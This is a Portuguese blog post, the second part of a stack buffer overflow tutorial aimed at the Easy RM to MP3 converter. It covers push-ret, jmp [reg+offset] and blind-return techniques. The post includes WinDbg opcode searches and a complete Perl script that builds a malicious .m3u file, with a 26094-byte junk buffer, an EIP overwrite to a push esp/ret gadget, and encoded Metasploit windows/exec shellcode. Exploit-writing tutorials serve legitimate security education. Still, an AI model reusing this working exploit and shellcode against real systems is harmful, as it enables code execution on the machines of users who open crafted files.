17 de março de 2012

Stack Buffer Overflow - Jumping to Shellcode - parte 2


Push return

Push ret é bem similar à call [reg]. Se um dos registradores estiver apontando diretamente para seu shellcode, e se por alguma razão você não possa utilizar um jmp [reg] para pular para o shellcode, então poderia
  • colocar o endereço desse registrador na stack. Isso iria para o topo da stack.
  • ret (que pegaria o endereço de volta para a stack e pularia para ele)
Para fazer isso funcionar, você precisa sobrescrever o EIP com o endereço de uma sequência push [reg]+ret em um das dll’s.

Supondo que o shellcode está localizado diretamente no ESP. Você precisa encontrar o opcode para ‘push esp’ e o opcode para ‘ret’ primeiro.

0:000> a
000ff7ae push esp
push esp
000ff7af ret
ret
 
0:000> u 000ff7ae
+0xff79d:
000ff7ae 54              push    esp
000ff7af c3              ret

opcode da sequência é  0×54,0xc3

Busque por esse opcode:

0:000> s 01a90000 l 01dff000 54 c3
01aa57f6  54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0  T..........D$...
01b31d88  54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c  T.....t]S.\$0W.L
01b5cd65  54 c3 8b 87 33 05 00 00-83 f8 06 0f 85 92 01 00  T...3...........
01b5cf2f  54 c3 8b 4c 24 58 8b c6-5f 5e 5d 5b 64 89 0d 00  T..L$X.._^][d...
01b5cf44  54 c3 90 90 90 90 90 90-90 90 90 90 8a 81 da 04  T...............
01bbbb3e  54 c3 8b 4c 24 50 5e 33-c0 5b 64 89 0d 00 00 00  T..L$P^3.[d.....
01bbbb51  54 c3 90 90 90 90 90 90-90 90 90 90 90 90 90 6a  T..............j
01bf2aba  54 c3 0c 8b 74 24 20 39-32 73 09 40 83 c2 08 41  T...t$ 92s.@...A
01c0f6b4  54 c3 b8 0e 00 07 80 8b-4c 24 54 5e 5d 5b 64 89  T.......L$T^][d.
01c0f6cb  54 c3 90 90 90 64 a1 00-00 00 00 6a ff 68 3b 84  T....d.....j.h;.
01c692aa  54 c3 90 90 90 90 8b 44-24 04 8b 4c 24 08 8b 54  T......D$..L$..T
01d35a40  54 c3 c8 3d 10 e4 38 14-7a f9 ce f1 52 15 80 d8  T..=..8.z...R...
01d4daa7  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
01d55edb  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
01d649c7  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
01d73406  54 c3 d3 2d d3 c3 3a b3-83 c3 ab b6 b2 c3 0a 20  T..-..:........
01d74526  54 c3 da 4c 3b 43 11 e7-54 c3 cc 36 bb c3 f8 63  T..L;C..T..6...c
01d7452e  54 c3 cc 36 bb c3 f8 63-3b 44 d8 00 d1 43 f5 f3  T..6...c;D...C..
01d74b26  54 c3 ca 63 f0 c2 f7 86-77 42 38 98 92 42 7e 1d  T..c....wB8..B~.
031d3b18  54 c3 f6 ff 54 c3 f6 ff-4f bd f0 ff 00 6c 9f ff  T...T...O....l..
031d3b1c  54 c3 f6 ff 4f bd f0 ff-00 6c 9f ff 30 ac d6 ff  T...O....l..0...

Crie seu exploit e execute:

my $file= "test1.m3u";
my $junk= "A" x 26094;
 
my $eip = pack('V',0x01aa57f6); #sobrescreve EIP com push esp, ret
 
my $prependesp = "XXXX";  # adiciona 4 bytes e ESP aponta para o início do shellcode
 
my $shellcode = "\x90" x 25;   #inicia o shellcode com alguns NOPS
 
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
 
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
 
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso\n";


Owned novamente!


Jmp [reg]+[offset]

Outra técnica para resolver o problema de que o shellcode começa em um offset de um registrador (ESP em nosso exemplo) é tentando encontrar uma instrução jmp [reg + offset] (e sobrescrever EIP com o endereço daquela instrução). Vamos assumir que precisamos pular 8 bytes novamente (como no exercício anterior). Usando a técnica jmp reg+offset, simplesmente pularíamos sobre os 8 bytes no início do ESP e cairíamos diretamente em nosso shellcode.

Precisamos de 3 coisas:
  • Encontrar o opcode para jmp esp+8h
  • Encontrar um endereço que aponte para essa instrução
  • Criar o exploit que sobrescreva EIP com este endereço

Encontrando o opcode com o windbg:

0:014> a
7c90120e jmp [esp + 8]
jmp [esp + 8]
7c901212 
 
0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e ff642408        jmp     dword ptr [esp+8]

O opcode é ff642408

Agora poderá buscar por uma dll que tenha este opcode, e utilizar o endereço para sobrescrever EIP com o mesmo. Em nosso exemplo, não consegui encontrar esse opcode em lugar algum. Obviamente, você não está limitado a buscar jmp [esp+8]... pode procurar também por valores maiores que 8 (pois você controla qualquer coisa acima de 8... você pode colocar alguns NOP’s adicionais no início do shellcode e fazer o jump nos NOP’s). De qualquer forma, o opcode para ret é c3, mas estou certo de que já descobriu isso por conta própria J



Blind return

Esta técnica é baseada nos dois passos a seguir:

  • Sobrescrever EIP com um endereço apontando para uma instrução ret
  • Codificar o endereço do shellcode nos primeiros 4 bytes do ESP
  • Quando o ret é executado, os últimos 4 bytes adicionados (valores mais altos) são retirados da stack e colocados no EIP
  • Exploit pula para o shellcode

Desse modo essa técnica é útil se:

  • você não pode apontar EIP para ir para um registrador diretamente (por não poder usar instruções jmp ou call). Isso significa que você precisa codificar o endereço de memória do início do shellcode, mas
  • você não controla os dados em ESP (pelo menos os 4 primeiros bytes)
Para fazer isso, precisa ter o endereço de memória do shellcode (= endereço do ESP). Como sempre, tente evitar que este endereço inicie com, ou contenha, null bytes, ou que não seja capaz de carregar seu shellcode além do EIP. Se seu shellcode puder ser posto em um local, cujo endereço não contiver null bytes, então essa é outra técnica que pode funcionar.

Encontre o endereço de uma instrução ‘ret’ em uma das dll’s.

Configure os 4 primeiros bytes de seu shellcode (primeiros 4 bytes de ESP) para o endereço onde o shellcode começa, e sobrescreva EIP com o endereço da instrução ‘ret’. Dos testes que fizemos no primeiro tutorial, lembramos que ESP parece iniciar em 0x000ff730. Obviamente que esse endereço pode mudar em diferentes sistemas.

Este endereço contém null bytes, então quando construir o payload, criamos um buffer que se parece com isso:

[26094 A’s][endereço de ret][0x000fff730][shellcode]

O problema com esse exemplo é que o endereço utilizado para sobrescrever EIP contém um null byte (= terminador de string), assim o shellcode não é colocado no ESP. Isso é um problema, mas pode não ser um impedimento. Algumas vezes pode descobrir seu buffer (olhe os primeiros 26094 A’s, não aqueles após a sobrescrita do EIP, pois eles serão inutilizados por conta do null byte) atrás de outros locais/registradores, tais como eax, ebx, ecx, etc... Nesse caso, você pode tentar colocar o endereço desse registrador como os primeiros 4 bytes do shellcode (no início do ESP, diretamente após a sobrescrita do EIP), e ainda sobrescrever o EIP com o endereço de uma instrução ‘ret’.

Esta é uma técnica que possui uma série de requisitos e “poréns”, mas precisa apenas de uma instrução ‘ret’... De qualquer forma, ela não funciona no caso do Easy RM to MP3.



Nenhum comentário:

Postar um comentário